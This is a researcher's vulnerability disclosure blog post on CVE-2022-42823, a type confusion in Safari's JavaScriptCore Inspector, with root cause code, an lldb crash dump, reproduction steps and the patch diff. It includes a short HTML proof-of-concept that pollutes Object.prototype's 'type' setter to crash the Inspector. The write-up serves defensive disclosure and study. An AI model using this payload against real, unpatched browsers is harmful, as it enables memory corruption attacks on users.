본문 바로가기
Real World Analysis/0-day

[0-Day] CVE-2022-42823 - Apple Safari JavaScriptCore Inspector Type Confusion Vulnerability

by l33d0hyun 2022. 11. 11.

Apple Safari

Title

  • Apple Safari JavaScriptCore Inspector Type confusion Vulnerability

Summary

  • A Type confusion vulnerability exists in the Apple Safari JSC Inspector
  • This issue causes Memory Corruption due to Type confusion.
  • An attacker must open a arbitrary generated HTML file to exploit this vulnerability.

Test environment

  • macOS M1 Monterey 12.5(21G72)
  • Apple Safari 15.6(17613.3.9.1.5)

Root Cause Analysis

  InjectedScript InjectedScriptManager::injectedScriptFor(JSGlobalObject* globalObject)
  {
      auto it = m_scriptStateToId.find(globalObject);
      if (it != m_scriptStateToId.end()) {
          auto it1 = m_idToInjectedScript.find(it->value);
          if (it1 != m_idToInjectedScript.end())
              return it1->value;
      }

      if (!m_environment.canAccessInspectedScriptState(globalObject))
          return InjectedScript();

      int id = injectedScriptIdFor(globalObject);
      auto createResult = createInjectedScript(globalObject, id);
      if (!createResult) {
          auto& error = createResult.error();
          ASSERT(error);

          if (globalObject->vm().isTerminationException(error))
              return InjectedScript();

          unsigned line = 0;
          unsigned column = 0;
          auto& stack = error->stack();
          if (stack.size() > 0)
              stack[0].computeLineAndColumn(line, column);
          WTFLogAlways("Error when creating injected script: %s (%d:%d)\\n", error->value().toWTFString(globalObject).utf8().data(), line, column);
          RELEASE_ASSERT_NOT_REACHED();
      }
      if (!createResult.value()) {        // hit point
          WTFLogAlways("Missing injected script object");
          RELEASE_ASSERT_NOT_REACHED();
      }

      InjectedScript result({ globalObject, createResult.value() }, &m_environment);
      m_idToInjectedScript.set(id, result);
      didCreateInjectedScript(result);
      return result;
  }
  * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x9c7980019f2cc1d0)
  Note: Possible pointer authentication failure detected.
  Found value that failed to authenticate at address=0x19f2cc1d0.

      frame #0: 0x00000001b796e9d0 JavaScriptCore`WTFCrashWithInfo(int, char const*, char const*, int) + 20
  JavaScriptCore`WTFCrashWithInfo:
  ->  0x1b796e9d0 <+20>: brk    #0xc471
      0x1b796e9d4 <+24>: brk    #0x1

  JavaScriptCore`WTF::AutomaticThread::threadDidStart:
      0x1b796e9d8 <+0>:  ret

  JavaScriptCore`WTF::AutomaticThread::threadIsStopping:
      0x1b796e9dc <+0>:  ret
  Target 0: (com.apple.WebKit.WebContent) stopped.
  (lldb) reg read
  General Purpose Registers:
          x0 = 0x00000000000000ce
          x1 = 0x00000001b8c3cef5  "./inspector/InjectedScriptManager.cpp"
          x2 = 0x00000001b8c3cf1b  "Inspector::InjectedScript Inspector::InjectedScriptManager::injectedScriptFor(JSC::JSGlobalObject *)"
          x3 = 0x00000000000000e5
          x4 = 0xffffffffca2eb078
          x5 = 0x0000000000000008
          x6 = 0x000000000000000a
          x7 = 0x0000000000000001
          x8 = 0x0000000000000001
          x9 = 0x0000000000000000
      x10 = 0x00000021a0e33805
      x11 = 0x0000000000000001
      x12 = 0x0000000000000001
      x13 = 0x8000000008041000
      x14 = 0x0000000106360138
      x15 = 0x0000007ff0000000
      x16 = 0x9c7980019f2cc1d0 (0x000000019f2cc1d0) libsystem_kernel.dylib`mach_approximate_time
      x17 = 0x00000001fa6c2ae8  (void *)0x9c7980019f2cc1d0
      x18 = 0x0000000000000000
      x19 = 0x000000010d0719c0
      x20 = 0x0000000135413000
      x21 = 0x00000001350c5a68
      x22 = 0x0000000000000001
      x23 = 0x000000010d072a40
      x24 = 0x00000001b8b9a110  JavaScriptCore`InjectedScriptSource_js
      x25 = 0x0000000000000000
      x26 = 0x0000000000000010
      x27 = 0x000000010d024e20
      x28 = 0x0000000000000000
          fp = 0x000000016b131340
          lr = 0x00000001b8352574  JavaScriptCore`Inspector::InjectedScriptManager::injectedScriptFor(JSC::JSGlobalObject*) + 2872
          sp = 0x000000016b131250
          pc = 0x00000001b796e9d0  JavaScriptCore`WTFCrashWithInfo(int, char const*, char const*, int) + 20
      cpsr = 0x80001000
  • If you attach lldb and check the log immediately after the crash occurs, you can confirm that a failure occurred in the PAC verification.

Proof-of-Concept

  <script>
  let object = {};
  Object.prototype.__defineSetter__('type', function() {
      object.x = {};
      object[0] = object.x;
  });
  </script>

Reproduce

  • Download the attached file.
  • open poc.html on Apple Safari.
  • open Inspector.

Patch

@@ -57,6 +57,9 @@ function createArrayWithoutPrototype(/* value1, value2, ... */)
function createInspectorInjectedScript(InjectedScriptHost, inspectedGlobalObject, injectedScriptId)
{

+ function PrototypelessObjectBase() {}
+ PrototypelessObjectBase.prototype = null;
+
function toString(obj)
{
    return @String(obj);
@@ -127,10 +130,12 @@ function max(a, b) {

// -------

- let InjectedScript = class InjectedScript
+ let InjectedScript = class InjectedScript extends PrototypelessObjectBase
{
    constructor()
    {
+        super();
+ 
        this._lastBoundObjectId = 1;
        this._idToWrappedObject = @createObjectWithoutPrototype();
        this._idToObjectGroupName = @createObjectWithoutPrototype();
@@ -969,10 +974,12 @@ var injectedScript = new InjectedScript;

// -------

- let RemoteObject = class RemoteObject
+ let RemoteObject = class RemoteObject extends PrototypelessObjectBase
{
    constructor(object, objectGroupName, forceValueType, generatePreview, columnNames)
    {
+        super();
+
        this.type = typeof object;

        if (this.type === "undefined" && InjectedScriptHost.isHTMLAllCollection(object))
@@ -1496,9 +1503,12 @@ let RemoteObject = class RemoteObject

// -------

- InjectedScript.CallFrameProxy = class CallFrameProxy {
+ InjectedScript.CallFrameProxy = class CallFrameProxy extends PrototypelessObjectBase
{
    constructor(ordinal, callFrame)
    {
+        super();
+
        this.callFrameId = `{"ordinal":${ordinal},"injectedScriptId":${injectedScriptId}}`;
        this.functionName = callFrame.functionName;

CREDIT Information

  • Dohyun Lee (@l33d0hyun) of SSD Labs

댓글